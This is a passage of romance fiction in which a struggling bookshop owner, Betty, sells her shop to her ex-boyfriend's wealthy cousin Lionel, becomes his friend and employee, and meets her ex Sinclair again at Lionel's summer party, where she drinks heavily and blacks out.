Sinclair paused, as if he was about to say something, but for once he decided to keep his thoughts to himself, and Betty kept her attention firmly on Goldie until she heard the sound of Sinclair’s engine coming to life, and only when she saw his car move away did she let herself cry.

Time passed at a snail’s pace as Betty adjusted to life without Sinclair, but pass it did, and though she tried everything she could to keep her shop open, it just wasn’t viable. She’d been hanging on by the skin of her teeth from day one, barely making enough profit to keep the lights on, and with the added cost of looking after a dog, it was impossible. She’d have to sell the building, use the proceeds to put a deposit down on a rented flat, and find a job. There must be plenty of libraries in London, after all.

To her surprise, the estate agent had hardly had the advertisement up a few days when he called Betty asking her to meet with a buyer who had a very generous offer to make. The meeting wasn’t to take place in the agent’s office, but at the Savoy - all paid for by the buyer, apparently.

Betty fished out the dress she’d bought for Lionel Shabandar’s Valentine’s party, tamed her hair as best she could, and set out to meet the agent at the Savoy. He led her to a table, told her that the buyer wanted to meet with her personally before bringing any agents into the conversation, then left her alone in a restaurant far too fancy for her.

She waited anxiously for a few minutes, hoping she didn’t look too out of place, but also very much aware that the only other non-white faces she saw were the servers.

“Ah, there’s the illustrious Miss Bennett!”

Betty looked up suddenly when she heard the familiar voice. Sure enough, her mysterious dinner companion was Lionel Shabandar, multimillionaire media mogul - and her ex-boyfriend’s cousin. He grinned at her cheekily, clearly having expected the surprise on her face, and took her hand to kiss it before sitting down opposite her and waving over a server. He ordered a bottle of wine with a French name without looking at the menu, then turned to her and leaned forward conspiratorially.

“You look as beautiful as ever, Elizabeth,” Lionel said with a twinkle in his eye.

Betty glanced down at her dress and immediately her hand flew to her mouth.

“I didn’t think I was seeing anyone who’d seen me in this before! I do have other dresses, I swear —”

It wasn’t entirely a lie. She owned other dresses - but she didn’t own any other fancy dresses like this one.

Lionel laughed and waved the matter aside. “Don’t worry yourself, Elizabeth. It only tells me you’re not wasteful. You don’t waste your money, you don’t waste perfectly good dresses, and I’m sure tonight you won’t waste my time either. But what you are wasting is a perfectly good business opportunity - why on earth are you selling your shop? It’s in an excellent location. And none of the bullshit the agent told you to say, please. I ask as a friend, not as a potential buyer.”

Betty took the opportunity to ponder her answer when the server arrived with their wine and poured them a glass each. She took a sip and said, “Truthfully, I can’t afford to run it. I’m only making a loss these days. You’re right, it is a good location, and I’m sure someone will be able to make good use out of it - but that’s not me. Are you actually interested in buying it?”

“Of course I am! If you’re asking if I’m using this as an excuse to see you, of course I’m not. It’s simply a fortuitous bonus that the vendor of the property I’m interested in is a charming and beautiful woman I’ve met before.”

Lionel smiled and raised his glass to her. He took a sip, then put the glass down and said, “But is that really the only reason you’re selling?”

Betty shrugged. “I’m not cut out for it. I’m good at the admin, but not so much on the shop floor.”

“Then why not hire a sales clerk so you can sit in the back office while they sell the books?”

“Because I can’t afford to employ myself, let alone someone else! Please, Lionel, this was a really hard decision, I don’t want to sit here justifying it. I just want to sell the building and move on. The agent said you had an offer to make - or was that just an excuse to get me to dinner?”

Lionel smirked. “Do I need an excuse? You’re a free agent now, I hear.”

Betty felt her heart skip a beat, and instead of answering she took a sudden interest in the menu.

As was usual at fancy restaurants - not that she’d been to many - the vegetarian options were sorely lacking, so when the server came to take their orders she asked for a salad, while Lionel ordered a steak, well done.

Lionel joined his fingers and rested his head on his hands to look at her inquisitorially.

“Does this sale have anything to do with Sinclair?”

She was so pathetic, she thought, the way her heart leapt and her stomach dropped at just the sound of his name.

“No. Well… in a way. I was just about scraping by before. Then when we broke up he gave me his dog, because Natalie hates them. But dogs are expensive, and it broke the budget. I knew I had to choose between him and the shop, and I just cannot give up that puppy.” Not when I’ve already lost my other puppy.

“You’re selling your shop for a dog?” Lionel asked with an amused smile.

“It sounds silly, I know —”

“Not at all. I think it’s rather sweet.”

Betty gave him a small smile. “So what’s your offer, then?”

“Straight to the point, I like that. Well, I’d like to buy the building, but I want to keep the shop open as it is, with you as manager.”

Betty blinked in surprise. She wasn’t sure what she’d been expecting, but it certainly wasn’t that.

“But I just told you I’m terrible at running it!”

“No, you said you’re terrible on the shop floor. I understand that. If the shop was part of Shabandar Books, you’d be able to afford staff, freeing you up to focus on the business and administrative side of things. I have an excellent marketing team who’d love to help you get more sales, and as a direct subsidiary of Shabandar Books, you’d be able to get the books I publish for pennies and sell them for pounds, leaving you with plenty of money for you and your dog.”

A thousand thoughts were running through Betty’s head, interrupted by the arrival of their meals. She thought about Lionel’s offer while they ate, and she tried to keep her eyes off the burnt meat carcass he was eating in case she got distracted by thinking about the poor cow that had been sacrificed for Lionel’s dinner.

“I don’t expect an answer tonight,” Lionel said firmly when he finished his plate. “Have a think on it. For now, no more business. This is the purely social part of the evening, just two friends catching up.”

“I didn’t realise we were friends.”

Lionel’s eyebrows shot up in surprise. “Well, of course we are!”

“I went to one of your parties once as your cousin’s date.”

“Yes, and you were charming company. I’m sorry again for how I acted. When I set my sights on something - or someone - I can lose all sense of propriety. It was inconsiderate of me to even consider propositioning you when you were with Sinclair.”

That name again. Why was just his name enough to twist her stomach into knots?

“And now that I’m not with Sinclair, are you planning on propositioning me again?”

A hungry smile spread on Lionel’s face, and he looked her up and down. “That depends. Are you… propositionable?”

“Lionel, you’re my ex’s cousin —”

Lionel put his hands up innocently. “If that makes you uncomfortable, I understand. I’m not asking for a date, Elizabeth. Simply… some company.”

“Betty.”

”Hm?”

“If we’re friends, you should call me Betty.”

“I’m honoured. You can call me Lionel, but you were doing that anyway.”

Betty laughed. He was still looking at her as if she were his dessert, and she blushed under the intensity of his gaze.

“I must admit… some company might be what I need right now,” she said. “I’ve made friends with some of the other shopkeepers on the street, but they all live such busy lives, and I’ve got Goldie to look after… I don’t get to spend much time with anyone other than customers.”

“Let me get you in a position to hire staff and you’ll have plenty of free time on your hands — oh, but I’m talking business again,” Lionel interrupted himself. “I’m always doing this. Can’t focus on the moment, always thinking about work — that’s what my ex-wife always said.”

“You were married?”

“Oh, yes, years ago. She wanted kids, I didn’t. I said I don’t have the time, I wouldn’t be around. She asked me to work less.”

“And you chose work over having kids?”

“Well, when you put it like that!” Lionel laughed. “No, I knew I’d be a bad father. I’d be in the office more than at home. I’d see my secretary more than my kids. I didn’t see the point in bringing a child into the world if I wasn’t going to raise it.” He paused. “I’m sorry, I must sound like a terrible person.”

Betty shook her head. “No, you sound self-aware.”

“Yes, aware of my terrible self.”

They both laughed, then Betty said, “No, I don’t think you’re terrible. You knew if you had a kid you’d either be present and miserable, or absent and the kid would be miserable. But by divorcing… you were free to pursue your dreams, and your wife could be with someone who wanted the same things she did.”

She scoffed.

“If only Sinclair were that smart.”

Lionel nodded in agreement.

“Sinclair is a very intelligent man. I wouldn’t have got Shabandar Media to where it is today without his advice, and I’m sure he’ll continue helping me to expand even further. But when it comes to emotional intelligence, he can be…”

“An idiot?”

Lionel chuckled.

“Yes, an idiot. Letting you get away, for example - the only way that would make sense would be if he were gay.”

Betty almost choked on her wine as she snorted in surprise.

“Trust me, Sinclair is a lot of things, but he’s definitely not gay!”

“Oh? Eager in the bedroom, was he?” Lionel asked with a mischievous grin.

“That’s - I - he’s your cousin!” Betty spluttered. “Surely you don’t want to know about his sex life?”

“His? Not particularly. But yours… now, that does intrigue me.”

Betty scoffed. “Oh, trust me, there’s nothing to be intrigued about there.”

Lionel smirked and leaned forward, his hand resting over her forearm on the table.

“Perhaps I should find that out for myself,” he said in a low voice.

His touch was electric, and for a moment Betty was transfixed by the fiery look in Lionel’s eyes… before she shook her head and pulled her arm away.

“Lionel, I’m not…”

“It’s alright,” Lionel said nonchalantly, sitting back and putting his hands up innocently. “I’m a big boy, I can handle a no.”

“Sorry. It’s not that I don’t think you’re hot, but… I don’t do… that, casually. No judgment on you if you do, but I… don’t.” She cleared her throat. “Um, and I don’t think we should date either. It’ll be difficult enough being friends and business partners — adding lovers into the mix is a recipe for disaster.”

Lionel raised his eyebrows over his wine glass.

“Business partners, hm? So you’ll accept my offer?”

“I’ll… think about it.”

Lionel smiled and raised his glass to her.

“That’s all I ask.”

After dinner, Betty agreed to take Lionel to see the shop, so he knew what he was offering to buy. It was late, so all the other shops were closed, and Betty felt a little strange opening the door and turning the lights on so late at night.

“This place is beautiful,” Lionel remarked, looking around with his hands in his pockets. “You could do with some art on the walls, though.”

“Are you offering one from your collection?”

“Absolutely not, but I’ll help you pick something out. Is this the whole place or is there more?”

“There’s a little room in the back. I use it as an office.”

“And upstairs? What do you use that for?”

“I live there.”

Lionel froze in his exploration of the shop floor and turned to look at her, frowning.

“You live there?” he repeated incredulously. “How many rooms do you have?”

“Just the one room. Two, if you count the bathroom.”

“And only one bathroom? Show me.”

Lionel stalked past her commandingly, and Betty instinctively followed, turning the lights off and locking the door behind them. She led him to the door to the side of the shop, unlocked it and led him up to her flat on the first floor.

“I know it’s not much,” she admitted. “It probably seems tiny to you. But it’s mine, you know?”

She let him in, and Lionel gaped as he entered the flat and looked around, his eyes darting from the bed to the kitchen to the sofa to Goldie asleep in his crate.

“This is one room!” he exclaimed. “Where’s the rest of it? What about upstairs?”

“Storage. Stock, mostly, but some of my own stuff too.”

Lionel shook his head.

“Betty, this is preposterous. You can’t live in a single room. Look at this! Your bed and your kitchen are hardly more than a few strides apart! Your sheets must smell like whatever you’ve had for dinner. Which Sinclair loved, I suppose, but that’s no way to live.”

“Lionel…”

He sighed, his hands on his hips.

“Why don’t you simply use this room as storage for further stock and get your own place?”

“I can’t just get my own place, Lionel,” Betty reminded him firmly. “You’re rich. Disgustingly rich. The kind of rich I should hate you for if you weren’t so charming. But me, I - I’m nothing. I only have this place because my grandad left it to me. I’d still be living with my parents in their council house if I didn’t have this place. I went to a rough state school, I never went to university. I shouldn’t even know you. I’m surprised you’d even want to be my friend, I’m so below you. We only met because of Sinclair. So please - do not judge me for not living like you. I’m just trying to get by, and this is all I can afford - and I can’t afford it, which is why I’m selling it to you!”

There was a long pause. Lionel looked completely disaffected, as if he were used to people telling him he had too much money to understand real struggles. Maybe he was.

He turned wordlessly and crossed the room to look out of the small window that looked out onto the street.

“It really is an excellent location for a shop,” he mused.

He turned back to face her.

“One hundred thousand.”

“…What?”

“I’ll give you £100,000 for the building. All three floors, which would make me your landlord, and you can be sure the first thing I’ll do is evict you so you’ll have to buy somewhere else. Somewhere with a separate kitchen, at least.”

Betty gaped at him.

“Lionel —”

“Of course, you’ll continue running the shop, but as an employee of Shabandar Books. You’ll get a pension, annual leave, sick pay, and a salary of course. How does £15,000 a year sound?”

Betty had to catch herself on the kitchen counter as she shook her head in disbelief.

“Lionel - don’t be ridiculous - this building isn’t worth remotely that much, and the business certainly isn’t. You won’t even begin to make your money back.”

Lionel smirked. “You said it yourself, Betty. I am disgustingly rich. A hundred grand is pocket change to me, but life changing to you. Let me help you.”

“Why?”

Lionel sighed in frustration and threw his hands in the air.

“Does there have to be a reason?”

“Yes! Do you really expect me to believe that you got to be the richest man in England by giving a hundred grand to anyone who needed it?”

“Of course not —”

“Then why me?”

“Because my cousin is an idiot!” Lionel snapped.

There was another long pause. Betty waited for Lionel to continue. Eventually, he sighed and sat himself down on the couch.

“He’s an idiot,” he repeated, more firmly. “He has no idea. He swept in, made you think you were going to live happily ever after, then left you high and dry. I saw how happy you were with him — and how happy he was with you. He’s always got a smile on his face, that man, but I’d never seen him truly happy until I saw him with you. And then he broke your heart. You must feel so… abandoned.”

He looked up at her. She was still standing across the room, leaning against the counter, but her defensive body language was falling away.

“I wanted to help. I can’t make Sinclair see sense, but… I can give you the tools you need to be happy without him. Live on your own, comfortably, and continue your business without worrying about something as trivial as money.”

Betty crossed the room and sat down next to him. She sat there for a while, thinking, and he just waited.

“You can’t buy this place for a hundred grand, Lionel,” she said eventually. “It’ll raise the average price in the area and landlords will use it as an excuse to raise the rent on my neighbours. They’re not all ex-girlfriends of rich men’s cousins, so it could ruin them. But… you could buy it for fifty grand. And maybe buy me a house, y’know, out of the goodness of your heart.”

Lionel looked at her, an eyebrow raised, and then he laughed.

“When you’re haggling with a buyer, Betty, you go up, not down.”

“Forty.”

He snorted.

“Alright, alright, fifty it is. You’re right, I suppose, a hundred would be overpaying, and I would like to make some return on my investment. Will you accept the salary offered, or would you prefer ten thousand?”

“No, fifteen is good!” Betty said quickly. “In fact, can I have twenty?”

“Absolutely not. Eighteen and no more.”

“Deal!”

Lionel grinned and put his hand out to shake hers.

“A pleasure doing business with you, Betty. Now, about my other proposal —”

She blushed.

“Relax, I’m joking! You were quite clear. But if you change your mind…” He winked at her.

“I’ll, um… bear that in mind.”

The paperwork took some weeks to process, but by mid-July, Betty had moved herself into a nice little townhouse a few streets away from Cornelia Street, in a quieter residential area but still within walking distance from the shop. The deeds to the shop were handed over, her employment contract was signed, and Lionel left her to interview and hire staff for the shop. With the income she now had, Betty was able to hire a walker and sitter for Goldie, and it was with her that she left him when she left one evening to go to the Shabandar Media summer party.

Although she was now taking regular lessons, Betty still hadn’t passed her driving test, so she intended to call for a taxi — that was, until Lionel insisted he’d pick her up, and he showed up outside in a limousine.

“You are ridiculous!” Betty laughed as she climbed into the limo to find Lionel waiting for her with a glass of champagne. “Is a limo really necessary?”

“It’s the only way I travel. Besides, it’s a company party, so I can put it on the credit card. You’ve not straightened your hair this time?”

Betty’s hand flew up to the nape of her neck, where her bushy hair had been pushed back but was still very much curly and doing its best to reach the sky.

“Oh - er, no. Is that alright?”

“Of course it is. You look wonderful. And a new dress?”

“Mmm, well, I can afford it now. It’s not even from Primark this time! I felt so out of place walking into Monsoon, but they served me, and I didn’t get accused of shoplifting once. Pretty sure they were watching me, though.”

Lionel smiled, they clinked their glasses, and quickly fell into the relaxed, comfortable conversation that came so easily between them.

Betty had to stop and pinch herself sometimes. A year ago, she was living with her parents and working in the library for £3.40 an hour; now, she had her own house in London, she was running a bookshop like she’d always dreamed, and she was in a limo on her way to a fancy party with an open bar.

She’d had reservations about her deal with Lionel, but they’d spent a lot of time together going over the fine details of the sale and of her employment contract, and those meetings were often had over dinners, which inevitably led to drinking and socialising more than talking business.

Even more surprising than the idea she’d be working so closely with Lionel Shabandar one day was the idea of being friends with him. But they bonded quickly, sharing a love of art, and any class difference between them melted away when they shared ideas about Jane Austen, although Lionel did sometimes say things that made their starkly different backgrounds clear as day.

She could tell he’d grown up with Sinclair. Even though on first glance they had opposite personalities, they were in fact two sides of the same coin - Sinclair was sunshine in public, and kept his serious nature for only when necessary; Lionel, however, was serious to most people, but after gaining his trust, he began to laugh and was in fact very cheeky.

The pain of the wound Sinclair had inflicted still hurt, and he crossed her mind at least once a day, but it was getting a little better each day. Instead of lunch with Sinclair, she looked forward to dinner with Lionel, and they went out together to events she’d never have dreamed of being able to go to, such as theatre shows and art exhibitions. He even showed up at her door one day with a pile of manuscripts, asking for her help in choosing which author to offer a publishing contract to.

True to his word, Lionel hadn’t made a move on her again. Knowing he wasn’t trying to get her in bed put her at ease, and she was able to show physical affection with a hug or a hand on the arm without fear that he would try to turn it into something more.

Although Lionel owned most of the magazines in the country, he didn’t own them all, and one gossip rag in particular caught her eye in the newsagents when she spotted him on the cover with Kylie Minogue, a paparazzo apparently finding it very important to snap a picture of a musician having dinner with the owner of a media conglomerate that included a recording company.

That night, she had a dream that Lionel had demanded back all the money he’d given her because he wanted to give it to Kylie instead because she was willing to sleep with him.

The party was at Lionel’s manor in the country, so the drive was to take a while. Lionel rolled up the privacy partition separating them from the driver and sat back, relaxed in Betty’s company, laughing at the way she was trying to pour herself another glass of champagne with one hand.

“Give me that,” he chuckled, taking the bottle from her hand to pour her glass out for her. She protested when he filled it up past halfway, and so he compromised by leaving it three-quarters full.

“Now, there’s going to be a lot of people there tonight,” he said to her. “Some of them you’ve met at the office, but there’ll be heads and executives and all sorts from my different subsidiaries who even I hardly ever see. I’ll be pretending to be glad to see them, letting them suck up to me, all that bullshit. If ever it gets too much for you, my private gallery’s closed to visitors, of course, but you’re welcome to head in there for some quiet.”

Betty smiled, relief washing over her. She was never any good at parties - they were often too loud and too crowded - and Lionel had paid enough attention to know she needed a break sometimes.

“Oh, and - one more thing,” Lionel added.

“What’s that?”

“Sinclair will be there.”

Betty followed Lionel out of the limo, accepting his hand to help her out, and almost tripped as soon as she took a step.

“Drunk already?” Lionel teased.

“Oh, shut up,” Betty laughed, swatting him playfully. “I’m not used to wearing heels.”

“I thought you looked taller. I thought perhaps you’d just looked short next to Sinclair.”

“No, no, I’m as tiny as I seem.” She stood up straight and smiled. “But with the heels and hair, I’m almost as tall as you.”

“Ah, so that’s why you didn’t tame your hair, to make yourself look taller.”

“Bingo. Come on, then, your Lordship, where’s the booze?”

“Right this way, Miss Bennett.”

Lionel offered her his arm, which she gratefully took as holding onto him helped her steady herself on her feet.

“I’m surprised you were willing to let all these people arrive when you weren’t here,” Betty commented, glancing around at the partygoers who were already helping themselves to the free food and drinks.

“My security guard will keep them out of the gallery. Besides, the less time I spend here myself, the less inane chatter I have to deal with.”

“You speak as if you don’t want to host your own parties.”

Lionel sighed. “I think I may be getting too old to host as many parties as I used to.”

“You’re thirty-nine.”

“Exactly.”

Lionel took two drinks from a passing waiter and handed one to Betty.

“How old are you again?” he asked.

“Thirty-one, so don’t tell me thirty-nine’s old, I still haven’t emotionally recovered from turning thirty.”

Lionel chuckled.

“Don’t worry, you’ve still got plenty of life left ahead of you. Now, you’ll recall what I said about money bringing its own challenges?”

“Yes?”

“One of those is being surrounded by sycophantic nincompoops and having to entertain them, because telling them to fuck off earns you a reputation. Here comes one now.”

“Lord Shabandar!” exclaimed a vastly overweight man who had waddled over belly-first to greet the party’s host. “Good to see you, old sport. Keeping well, I hope?”

“Ah, Mr Simonson.”

“Simpson.”

“Mr Simpson, I apologise. The wine must be going to my head already. A pleasure to see you too, old chap. Enjoying the festivities, I hope?”

“Yes, very good, very good! Some exquisite wines on display as usual. Speaking of wine, might I trouble you for some more, young lady?”

“I’m not staff,” Betty replied shortly.

“Ah, yes, introductions,” Lionel said quickly, placing a hand on the small of Betty’s back as a look of surprise crossed Simpson’s face. “Allow me to introduce Miss Elizabeth Bennett, a very good friend of mine and a manager in Shabandar Books.”

“Oh, my apologies, Miss Bennett! How rude of me to assume. Darren Simpson; Director of Financial Operations at Shabandar Records.”

He held his hand out to her, which Betty reluctantly accepted, and she tried not to wince when he kissed her hand with far too much spit. Simpson turned to Lionel to start blabbering about something finance-related, so Betty took the opportunity to grab a waiter and swap her empty glass for a napkin to wipe her hand dry. When she came back, Lionel had managed to shake Simpson off, and he turned to her with a look of relief.

“Thank God he can’t stand up for very long. I can’t believe he assumed you were staff. Why on earth would he think that? You’re clearly dressed as a guest, not a waiter.”

Betty raised an eyebrow at him.

“Lionel, look around. How many black people do you see?”

He glanced around, and a look of realisation dawned on his face.

“Only the staff. Just like your last party.”

“Shit. I’d never even thought about it.”

“Lucky you.”

Lionel hesitated, unsure what to do, so Betty grabbed them both some more drinks and put her arm through his.

“There. No one will think I’m staff if I’m with you.”

“They’ll think we’re dating,” Lionel reminded her.

Betty shrugged. “Let them. I’d love to see people’s reactions when they think you’re dating a black girl.”

“Does it really cause you issue?” Lionel asked as they began meandering through the crowd.

“I grew up in Cornwall, Lionel. I was the only black girl in school. Moving to London was great, because it’s so diverse - then I started seeing Sinclair, and coming to these rich people events, and suddenly I’m the only black girl again. It’s frustrating that people look at me and immediately make assumptions based on the colour of my skin, and rich people are the worst for it. You and Sinclair must have been raised right, because neither of you have ever seen me as anything other than me, but your friends, not so much.”

Lionel thought for a moment, his brow furrowed in concentration. He waved off someone who tried to talk to him, then said, “First of all, Betty, very few people here I’d consider friends. You and Sinclair are probably the only people coming here tonight I can actually stand. But… I take your point. I’ll admit, when I first met you, I immediately noticed you were the first black girl Sinclair had dated. But I was far more intrigued by how beautiful you are - and that’s a statement of fact, by the way, not an attempt at flirting.”

Another random person tried to engage Lionel in conversation, but he shooed them away.

“If anyone does cause you trouble, Betty, please do tell me. I’ll fire them on the spot.”

“You don’t need to go that far,” Betty laughed. “But maybe slice their salary. Deny them a bonus or something. And you really do need to stop using me as an excuse not to talk to these sycophantic nincompoops, they’re eager to talk to you.”

With a sigh, Lionel knocked back the rest of his drink and put on his fake smile for the latest random person whose name he couldn’t remember. Laughing, Betty took his empty glass and left him to it.

She placed their empty glasses on a nearby table and moved through the crowd into the covered tent where the buffet table was, and she eagerly loaded up a plate with a bit of everything vegetarian she could find. Unsurprisingly, the vegetarian options were mostly untouched, which was a good thing because it meant she didn’t feel guilty about taking large portions.

She sat down on her own at a table. The tent was mostly empty, guests preferring to stay in the sun before it went down, and more interested at the moment in drinks than food. Betty could feel the wine she’d already drunk going to her head, so she thought it a good idea to fill her stomach before she got far too drunk far too early.

“Hi, Betty,” said a tentative, familiar voice, and Betty felt her heart skip a beat.

She looked up, and sure enough, there was Sinclair with his own stack of food on a plate. He looked nervous, as if frightened to approach her.

“…Hey.”

“Erm - how are you?”

“Fine.”

“That’s good. Can I… sit down?”

“Sure.”

Sinclair smiled with relief, then sat down opposite her with his tower of food. Betty couldn’t help snorting with amusement at the size of it.

“You know it’s Natalie that’s supposed to be eating for two, not you, right?”

Sinclair smiled bashfully. “I couldn’t help it. It all looked so good.”

“How, erm… how is she?”

“Big. Grumpy. She craves salty foods all the time.”

“I bet. She must be ready to pop. When’s she due?”

“18th of August.”

“You must be excited.”

Sinclair picked at his food anxiously.

“I heard you’re working with Lionel now,” he said, avoiding the question.

“Yeah, he bought the building. I still run the shop, but as an employee. I’ve got my own house now, with a garden and everything. Though it’s less my garden and more Goldie’s, he’s always out there running around.”

Sinclair’s glum expression lit up slightly at the mention of Goldie.

“I’m so glad you still have him! Thank you for the photos you’ve been sending to me at the office. Well, I assume it’s you. Either that or Goldie has a stalker.”

Betty laughed in spite of herself. “Of course it’s me. The pictures don’t do him justice, though, he’s bloody huge now. Thank God I was able to get a house, he wouldn’t fit in the flat anymore. Remember how he used to sleep on your chest?”

“Yes!”

“If he tried that now he’d crush you. Though I suspect that wouldn’t stop him.”

“I wouldn’t mind! I miss him loads. You too, I…”

Sinclair paused, his cheeks burning red.

“I miss you too,” he admitted.

Betty didn’t reply. She kept her eyes firmly fixed on her plate as she ate, trying not to look at Sinclair.

“You and Lionel seem close,” Sinclair said eventually.

She glanced up at him. Half his tower of food was already gone.

“He’s helped me a lot. We’re really good friends now, actually. I, um - I hope that’s okay.”

“Of course it’s okay! Please don’t think you can’t be friends with Lionel because of… well, me. I’m just wondering if… you know…”

“What?”

Sinclair poked at his halloumi fries.

Halloumi fries?

“Nothing,” he muttered.

“Sinclair…”

He looked up at her, eyes wide.

“Are you not eating meat?”

He glanced down at his plate, then back up at her. “No, I went vegetarian, remember?”

“Yeah, but I thought you just did that for me.”

“Well, I did, but… I stuck with it. Did you know that a vegetarian diet reduces your chances of developing cardiovascular disease, hypertension, diabetes, cancer, osteoporosis, renal disease and dementia, as well as diverticular disease, gallstones and rheumatoid arthritis?”

He said it all in one breath, and when he finished he grinned, as if proud of himself for remembering all the health benefits of being vegetarian - or, Betty thought herself stupid for wondering, as if hoping she’d be proud of him.

“I… did not know that. I just don’t like eating animals.”

“That too! Did you know in China they actually eat dogs?” Sinclair frowned. “Imagine eating something as cute as a dog! I could never look Goldie in the eye again.”

Betty paused, thinking, then said, “Do you want to see him?”

Sinclair’s eyes lit up a little more, as if just being in her presence was bringing him back to life.

“Yes, I’d love to! Would that be okay?”

“Of course it would. You always called him our son, after all, you should get visitation. Maybe you could take him out for a walk after work every now and then?”

“That would be amazing! Oh, but I’d have to check with Natalie, though.”

Sinclair’s shoulders slumped and the light that had been getting brighter behind his eyes dimmed again.

“She might not be happy with me coming home late. And I probably won’t have time once the baby’s born. But… I’ll see if I can make it work. Can I call you and let you know?”

“…Yeah, sure.”

The mention of Natalie and the baby left a bad taste in Betty’s mouth, so she excused herself and went to find Lionel, but he was entertaining some important-looking people, so Betty decided instead to take advantage of his offer to sneak off to the gallery for some peace and quiet.

Mostly, she just wanted to get away from Sinclair — no, she didn’t want to get away from him, she needed to. The problem was that what she really wanted was to tell him exactly what she thought of his decision to stay with his wife, to try and shake some sense into him and beg him to get back together with her. She wanted to kiss him but she also wanted to slap him. And hearing about Natalie and the baby was just too much for her to handle.

When Lionel had told her she could slip away to the gallery, he probably only meant for a few minutes, but the place was huge and she hadn’t had a chance to really appreciate Lionel’s collection last time she was here, so she ended up spending two hours wandering around before she ended up back where she started.

To her surprise, the entryway wasn’t as empty as she’d left it - a single solitary figure sat on the bench in the middle of the room, shoulders slumped with his puppy dog tail between his legs as he looked at a painting without really seeing it.

“What are you doing in here?”

Sinclair looked up when he heard her voice, his eyes wide and wistful.

“I thought I’d lost you.”

Betty sighed.

“I’m not yours to lose anymore, remember?”

Sinclair nodded glumly.

“I, erm… had too much to drink. Thought I’d sit down for a bit. Can you sit with me please?”

“…Sure.”

Betty crossed the gallery and took a seat next to Sinclair on the bench, feeling awkward. She desperately wanted to rub his back, to make sure he wasn’t going to throw up, as he sometimes did when he drank too much. But instead she just sat there, hands on her lap, wondering what to say.

“I miss you.”

Her heart skipped a beat. She glanced at Sinclair, who was still wearing his lost puppy expression, and she could see by the way he was swaying slightly even when sat that he really was drunk.

“Please don’t say that,” Betty said quietly.

“Why not?”

“Because what am I supposed to say? I can’t pity you for missing me when you’re the one who dumped me. I can’t tell you I don’t miss you because that would be a lie. And I can’t tell you I miss you because there’s no point. You made your choice.”

“I know, I just… I miss my best friend, that’s all. My other friends are all so shallow. But you - you were a real friend. My best friend. And I ruined it, didn’t I?”

“Maybe I ruined it by thinking someone like me stood a chance with someone like you.”

Sinclair stared at her, dumbfounded.

“Don’t think like that, Betty. It’s - hic! - it’s you that’s too good for me.”

Betty shook her head and stood up to leave.

“I should go. You’re drunk, and Lionel’s probably wondering where I am.”

She’d taken a few steps when she felt Sinclair’s warm hand wrap around her wrist and pull her back around.

“Betty, I - I know I’m the last person whose opinion you want. But just be careful with Lionel, okay? He’s like a brother to me and I love him, but…” He hesitated. “I don’t want to see you hurt.”

“Sinclair, the only person in your family who’s ever hurt me is you.”

He ducked his head like a wounded puppy and let go of her arm.

“Alright. Well… be careful. That’s all.”

“Okay.”

She went to leave, and Sinclair just stood there, swaying slightly. Betty sighed and put a hand on his shoulder to guide him out of the room.

“Come on, let’s get you some water before you vomit all over Lionel’s art.”

After sitting Sinclair outside with a supply of water, Betty went back inside and made a beeline for the bar, but she was quickly intercepted by a pair of hands that took her by the shoulders and guided her out of the room.

“Don’t bother with the swill I give out for free,” Lionel said from behind her. “Do you want to see where I keep the good stuff?”

The good stuff was in a large cellar under the ground floor, which could only be reached by a staircase that was hidden behind a painting of grapes which was probably worth at least a few million. Lionel showed her the fancy wines he kept hidden underground instead of drinking them, then selected a bottle of something called Ghost Horse and poured them each a glass.

“I hope it’s strong,” Betty remarked. “I need something that’ll go straight to my head.”

“Is my party really that dreary?”

“No. But listening to a drunk Sinclair babble on about how much he misses me… that’s something I need a drink for.”

Lionel’s jaw tightened slightly.

“I can’t apologise enough for how much of an idiot my cousin is.” He raised his glass to her. “But let’s not think about that. Cheers - to moving forward.”

Betty raised her glass, and they each took a generous gulp of wine.

A few minutes later, Lionel was pouring from the bottle again, laughing at a joke Betty had made.

After their third glass, Lionel was feeling fine, having built up a strong constitution over the years. Betty, however, being only an occasional drinker, was torn between curling up in the corner to sleep, dancing to the music that was just about audible through the ceiling, and finding Sinclair to give him a piece of her mind.

In her indecision, she stumbled. She felt Lionel catch her, and he definitely said something, but she didn’t have a chance to respond before she blacked out.

Sinclair was sitting on the veranda, his world spinning a little less after drinking a copious amount of water. The party had long since moved inside as the air became cooler, so he was alone with the cool evening air - at least, he was, until footsteps announced Lionel’s approach.

“I never thought I’d see you outside on your own at a party,” Lionel commented as he took a seat next to Sinclair. “The world must be upside down.”

“I drank too much,” Sinclair muttered, rubbing his head where a headache was starting to form.

“So it would seem. Betty told me she found you in the gallery.”

“Wh - what did she say?”

“Only that you thought it appropriate to tell her you missed her, as if you weren’t the one who dumped her. Why, did something else happen I should know about?”

“No, but… I have been wanting to talk to you about Betty.”

Sinclair turned to his cousin, his gaze steelier now that he’d sobered up, less like a sad puppy and more like a guard dog warning a visiting stranger.

“It’s none of my business what she does. But I won’t have you treating her like one of your conquests.”

Lionel raised an eyebrow. “Excuse me?”

“I mean it, Li. If you have feelings for her, I won’t stop you. But if you just want to use her and throw her away like every other woman I’ve seen you with - I’m telling you now, I won’t stand for it. She deserves better than that.”

“Awfully bold coming from the man who broke her heart.”

“That doesn’t mean you get to break it too!”

Lionel scoffed with amusement.

“Sinclair, you have nothing to worry about. If you must know, I expressed my interest and she gave me a clear no. I have no intention of pursuing her romantically. I value her as a friend and business partner too much to ruin that by letting my dick do the thinking.”

“You expect me to believe that? Have you ever had a female friend you didn’t end up in bed with?”

“Well, no, but there’s a first time for everything. Now, are you going to come back to the party or do you need to use my phone to call your driver?”

“…I think I’ll call my driver. For once I don’t feel like staying.”

Lionel smirked. “Told you. First time for everything.”

When Lionel woke up the morning after the company summer party, he knew something was wrong.

First of all, he was wearing a full set of pyjamas. He never wore pyjamas. He slept naked even in the winter, wore only a robe around the house, and put clothes on only when it was time to leave the house.

He was also not in his own bedroom. He was definitely in one of the guest rooms, although he couldn’t say which one.

Finally, he couldn’t quite remember exactly how he’d come to be sleeping in the guest room in pyjamas, when he should be in the master bedroom wearing nothing at all, preferably with a beautiful woman next to him.

Lionel stumbled groggily out of bed and shuffled sleepily over to the en-suite, shedding the stifling pyjamas as he went. His head was pounding and his stomach churning - all the signs of a good night. He just wished he could remember how it might have ended to result in his strange morning.

After refreshing himself in the bathroom, Lionel emerged back into the bedroom, opting not to turn the light on quite yet. Instead, he peeked through the curtains, surveying the remnants of the party on the grounds.

His staff had done a decent job. The gazebo was still up, but he saw no litter or stray glasses. His guests had clearly vacated, as all the cars at the end of the driveway were gone.

